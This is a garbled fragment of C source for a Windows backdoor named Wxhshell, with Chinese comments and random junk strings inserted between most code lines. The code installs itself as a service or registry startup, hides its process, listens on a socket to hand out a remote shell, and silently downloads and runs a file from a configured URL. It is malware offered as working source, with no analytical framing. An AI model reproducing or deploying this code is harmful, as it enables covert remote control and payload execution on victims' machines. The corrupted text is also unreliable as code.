Zj char procName[255]; T7mT:z>: unsigned long cbNeeded; m[y~-n .{ILeG if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ->51t 1WqCezI CloseHandle(hProcess); X:`=\D bQI :N if(strstr(procName,"services")) return 1; // 以服务启动 ]7k:3"wH ~ u1~% return 0; // 注册表启动 t1iz5%`p} } N)H+Ng[ uZ_?x~V/ // 主模块 H74'I} int StartWxhshell(LPSTR lpCmdLine) <?KgzIq2 { ~DxuLk6
s SOCKET wsl; sdCG}..` BOOL val=TRUE; V}<<?_ int port=0; fFbJE]jW struct sockaddr_in door; P]}:E+E<.I )Rbt0 if(wscfg.ws_autoins) Install(); S9l po_!z
{}'Jr1 port=atoi(lpCmdLine); \2El>> r%=a :GdAg if(port<=0) port=wscfg.ws_port; AFsieJ 6@#=z WSADATA data; E%E`\mFD if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "&D0Sd@[? |wb_im if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; H&*&n}vh5y setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I&15[:b=- door.sin_family = AF_INET; }vB{6E+h/w door.sin_addr.s_addr = inet_addr("127.0.0.1"); lgVT~v{U`n door.sin_port = htons(port); }Tm+gJA +K'YVB
U} if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (L4C1h_]9 closesocket(wsl); ?$A)lWk( return 1; S`mB1(h } 7`L]aRS[ 0hkYexX73 if(listen(wsl,2) == INVALID_SOCKET) { <<qzZ+u closesocket(wsl); [8tpU&J return 1; > (n/ } ho^c#>81 Wxhshell(wsl); `r=^{Y WSACleanup(); V3*@n*"N; LQ Ux} return 0; ?6vGE~MuR 7!`1K_v6 } %CQa8<q F\;l) // 以NT服务方式启动 T<nK/lp1t VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NA@Z$Gy { c+ZdfdR DWORD status = 0; #]i^L;u1A DWORD specificError = 0xfffffff; jZ5ac=D&I obbg#, serviceStatus.dwServiceType = SERVICE_WIN32; 2|exY>`w serviceStatus.dwCurrentState = SERVICE_START_PENDING; m|?1HCRXRI serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V0,5c`H c serviceStatus.dwWin32ExitCode = 0; {Gfsiz6 serviceStatus.dwServiceSpecificExitCode = 0; 8KR17i1 serviceStatus.dwCheckPoint = 0; 7Y.yl F: serviceStatus.dwWaitHint = 0; T[[E )f1[ FR50y+h^$ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9P
<1/W! if (hServiceStatusHandle==0) return; >3 p8o@: *hFJI9G status = GetLastError(); UDkH'x$= if (status!=NO_ERROR) +('xzW { Xsb.xxK. serviceStatus.dwCurrentState = SERVICE_STOPPED; (Y&gse1}! serviceStatus.dwCheckPoint = 0; ;gJAxVD< serviceStatus.dwWaitHint = 0; <|WXFjn serviceStatus.dwWin32ExitCode = status; 33}p02# serviceStatus.dwServiceSpecificExitCode = specificError; 2}P{7flDY SetServiceStatus(hServiceStatusHandle, &serviceStatus); g(jn
/Cx return; lnMU5[g{ } hQzT
=0 nyhHXVRH serviceStatus.dwCurrentState = SERVICE_RUNNING; !L|VmLqa serviceStatus.dwCheckPoint = 0; g rQ,J serviceStatus.dwWaitHint = 0; FDGzh/ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Zn|lL0b{q } Wa?\W& )!zg=}V // 处理NT服务事件,比如:启动、停止 )WEOqaR] VOID WINAPI NTServiceHandler(DWORD fdwControl) T9}dgf { vXdI)Sx[ switch(fdwControl) A$P Oc< { a(-t"OL\ case SERVICE_CONTROL_STOP: 6]!Jo)BF serviceStatus.dwWin32ExitCode = 0; N^[MeG,8 serviceStatus.dwCurrentState = SERVICE_STOPPED; 6I]{cm serviceStatus.dwCheckPoint = 0; }ew)QHd serviceStatus.dwWaitHint = 0; ,*L3 { b83m'`vRM SetServiceStatus(hServiceStatusHandle, &serviceStatus); h}m9L!+n8 } 0'5N[Bvp return; ?v+el, case SERVICE_CONTROL_PAUSE: GIkVU6Q} serviceStatus.dwCurrentState = SERVICE_PAUSED; '|%\QWuZ
break; u8x#XESR7 case SERVICE_CONTROL_CONTINUE: yi-)4#YN serviceStatus.dwCurrentState = SERVICE_RUNNING; "[_gRe*2 break; !a%_A^t7 case SERVICE_CONTROL_INTERROGATE: JsX}PVuL break; (c3O> *M }; ,k:>Z&: SetServiceStatus(hServiceStatusHandle, &serviceStatus); D#>d+X$ } &xC5Mecb* >n&+<06 // 标准应用程序主函数 nob}}w]~C int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {*F8'6YQ$ { >#;>6q9_ ` apCu // 获取操作系统版本 oBPm^ob4 OsIsNt=GetOsVer(); >T14
J'\ GetModuleFileName(NULL,ExeFile,MAX_PATH); '2p,0Bk9i xiC.M6/ // 从命令行安装 N40DL_- if(strpbrk(lpCmdLine,"iI")) Install(); 9~r8$,e ``h*A // 下载执行文件 \gir if(wscfg.ws_downexe) { Jjx1`S*i if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >IS BK[=H WinExec(wscfg.ws_filenam,SW_HIDE); )RT:u)N } -{*QjP;K UQT=URS if(!OsIsNt) { Og2w]B[
// 如果时win9x,隐藏进程并且设置为注册表启动 B1U7z1< HideProc(); .T~Oc'wGo StartWxhshell(lpCmdLine); $C{-gx+: } ]PH'G>x else 9$R}GK if(StartFromService()) )*BG-nM u // 以服务方式启动 jpiBHi]5+ StartServiceCtrlDispatcher(DispatchTable); EBUCG"e else V$MMK // 普通方式启动 Ez^wK~ StartWxhshell(lpCmdLine); Q"GZh.m [-=y*lx%g return 0; Jj+Hj[(@ }
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